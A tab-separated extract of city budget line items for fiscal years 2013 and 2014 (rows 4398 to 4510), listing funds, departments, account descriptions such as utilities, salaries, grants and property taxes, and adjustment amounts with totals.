4398	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	600.0	0	0.0	0.0	0	0	0.0	6	0.0	0	0	0.0	606.0
4399	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2013	41300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41300.0
4400	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	404070.0	BIKE PED TRAINING PILOT SRTS	610.0	Intergovernmental	2013	-49000.0	0	0.0	0.0	0	0	0.0	0	-147417.0	0	0	0.0	-196417.0
4401	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404350.0	ATMS PHASE 4C-MTA	610.0	Intergovernmental	2013	-661000.0	0	0.0	0.0	0	0	0.0	0	-272000.0	0	0	0.0	-933000.0
4402	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408350.0	BIKE TRAINING CMAQ GRANT	610.0	Intergovernmental	2013	-35000.0	0	0.0	0.0	0	0	0.0	0	-50000.0	0	0	0.0	-85000.0
4403	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	395761.0	0	0.0	0.0	0	0	0.0	3958	0.0	0	0	0.0	399719.0
4404	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2013	112000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	112000.0
4405	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	2224.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2224.0
4406	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4407	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	15299.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15299.0
4408	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	9275.0	0	0.0	0.0	0	0	0.0	93	0.0	0	0	0.0	9368.0
4409	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-142902.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-142902.0
4410	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	76247.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76247.0
4411	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	20772.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20772.0
4412	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2013	113644.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	113644.0
4413	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
4414	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	5391.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5391.0
4415	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
4416	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	134542.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	134542.0
4417	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	204945.0	0	0.0	0.0	0	0	0.0	2049	0.0	0	0	0.0	206994.0
4418	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4419	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2013	55438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55438.0
4420	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533220.0	BLDG / STRUCTURE MAINTENANCE	810.0	 Supplies and Expenses	2013	41559.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41559.0
4421	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2013	11314.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11314.0
4422	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2013	-350000.0	0	0.0	0.0	0	0	0.0	-40000	0.0	0	0	0.0	-390000.0
4423	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2013	-250000.0	0	0.0	0.0	0	0	0.0	200000	0.0	0	0	0.0	-50000.0
4424	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2013	-747000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-747000.0
4425	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-1573000.0	0	0.0	0.0	0	0	0.0	1573000	0.0	0	0	0.0	0.0
4426	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	405090.0	CITY YARDS LEASE	618.0	Rentals	2013	-1433025.0	0	0.0	0.0	0	0	0.0	1433025	0.0	0	0	0.0	0.0
4427	B1	IS	20	Miscellaneous Grants Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-56000.0	0	0.0	0.0	0	0	0.0	56000	0.0	0	0	0.0	0.0
4428	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408590.0	SA COLLECTIVE BU COSTS	622.0	Other	2013	-312400.0	0	0.0	0.0	0	0	0.0	312400	0.0	0	0	0.0	0.0
4429	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2013	4600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4600.0
4430	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579004.0	DISCRET-COMM CAREER DEVE	804.0	 Supplies and Expenses	2013	92688.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92688.0
4431	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579008.0	DISCRET-GRADES FOR GREEN	804.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4432	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406798.0	12 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	-23620.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-23620.0
4433	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555398.0	12 UASI GRANT	806.0	 Supplies and Expenses	2013	0.0	0	398666.0	0.0	0	0	0.0	0	0.0	0	0	0.0	398666.0
4434	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555399.0	13 UASI GRANT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	47000	0.0	47000.0
4435	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	501	ALL OTHER TRANSACTIONS	410110.0	BLOOMBERG WELLBEING PROJECT	610.0	Intergovernmental	2013	0.0	-1000000	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000000.0
4436	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402930.0	UNIT DWELLING TAX	606.0	Other Local Taxes	2013	0.0	0	-25000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25000.0
4437	B1	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	0.0	0	0.0	-27000.0	0	0	0.0	0	0.0	0	0	0.0	-27000.0
4438	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	104	0	0.0	0	0.0	0	0	0.0	104.0
4439	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	489	0	0.0	5	0.0	0	0	0.0	494.0
4440	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405370.0	DISCOUNT ON PERS PREPAYMENT	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-1452265	0.0	0	0	0.0	-1452265.0
4441	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	0.0	0	0.0	0.0	0	0	0.0	-56000	0.0	0	0	0.0	-56000.0
4442	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMBURSEMENT	908.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	-439605	0.0	0	0	0.0	-439605.0
4443	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-33600	0	-321400.0	-355000.0
4444	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EAP		Salaries and Wages	2014	413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	413.0
4445	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2014	63000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63000.0
4446	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
4447	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	3152.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3152.0
4448	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
4449	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	162000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	162000.0
4450	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	24000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24000.0
4451	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	401190.0	CDBG PR YR ALLOCATION	610.0	Intergovernmental	2014	-500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500000.0
4452	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV		 Supplies and Expenses	2014	92000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92000.0
4453	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400260.0	PROP K TORCA CONVERSION TAX	606.0	Other Local Taxes	2014	-80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-80000.0
4454	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401290.0	POLICE-MOVIE JOBS	612.0	Charges for Service	2014	-418200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-418200.0
4455	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
4456	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2014	1300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1300.0
4457	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4458	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	233456.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	233456.0
4459	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
4460	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2014	126735.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	126735.0
4461	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	2100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2100.0
4462	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	8075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8075.0
4463	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566470.0	TRAFFIC SIGNAL MAINTENANCE	816.0	 Supplies and Expenses	2014	120300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120300.0
4464	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	2696360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2696360.0
4465	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	2051.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2051.0
4466	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	3652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3652.0
4467	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402380.0	SELF-INSURANCE, GEN LIAB/AUTO	650.0	Charges for Service	2014	-3000000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3000000.0
4468	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522010.0	PAYMENT OF CLAIMS		 Supplies and Expenses	2014	1550000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1550000.0
4469	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522040.0	INSURANCE AND BONDS		 Supplies and Expenses	2014	900000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900000.0
4470	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
4471	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2094.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2094.0
4472	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4473	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMB-HUMAN SVC		 Supplies and Expenses	2014	59500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59500.0
4474	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400730.0	CA VEHICLE CODE FINES	614.0	Fines and Forfeitures	2014	-480000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-480000.0
4475	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	404000.0	STC PROGRAM	610.0	Intergovernmental	2014	-5600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5600.0
4476	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-2300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2300.0
4477	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405810.0	COPS - PER CAPITA	610.0	Intergovernmental	2014	-255473.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-255473.0
4478	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	82535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	82535.0
4479	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2014	1046.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1046.0
4480	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	36031.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36031.0
4481	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
4482	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4483	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400.0
4484	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4485	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	2700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2700.0
4486	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	3781.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3781.0
4487	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	15727.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15727.0
4488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	1400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1400.0
4489	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566730.0	REC / PARKS COMMISSION	810.0	 Supplies and Expenses	2014	2783.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2783.0
4490	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522000.0	UNRECOVERED INSURANCE LOSS		 Supplies and Expenses	2014	282000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	282000.0
4491	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522100.0	EXPERT WITNESS COSTS		 Supplies and Expenses	2014	125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125000.0
4492	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555210.0	TRAINING		 Supplies and Expenses	2014	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
4493	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	438832.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	438832.0
4494	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522620.0	RENT	804.0	 Supplies and Expenses	2014	147399.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	147399.0
4495	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
4496	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401620.0	LIBRARY PARKING LOT	608.0	Licenses and Permits	2014	-35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35000.0
4497	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401150.0	MALL ASSESSMENT DISTRICT	622.0	Other	2014	-1134586.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1134586.0
4498	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DCAP	808.0	Salaries and Wages	2014	420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	420.0
4499	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401450.0	POLICE SERVICES/FEES	612.0	Charges for Service	2014	-7079.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7079.0
4500	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	9500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9500.0
4501	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2014	4193.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4193.0
4502	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522620.0	RENT	816.0	 Supplies and Expenses	2014	74359.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	74359.0
4503	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
4504	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522130.0	UTILITIES - WATER	816.0	 Supplies and Expenses	2014	14010.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14010.0
4505	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4506	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	7718.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7718.0
4507	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4508	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	13500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13500.0
4509	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	1136.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1136.0
4510	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	15283.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15283.0
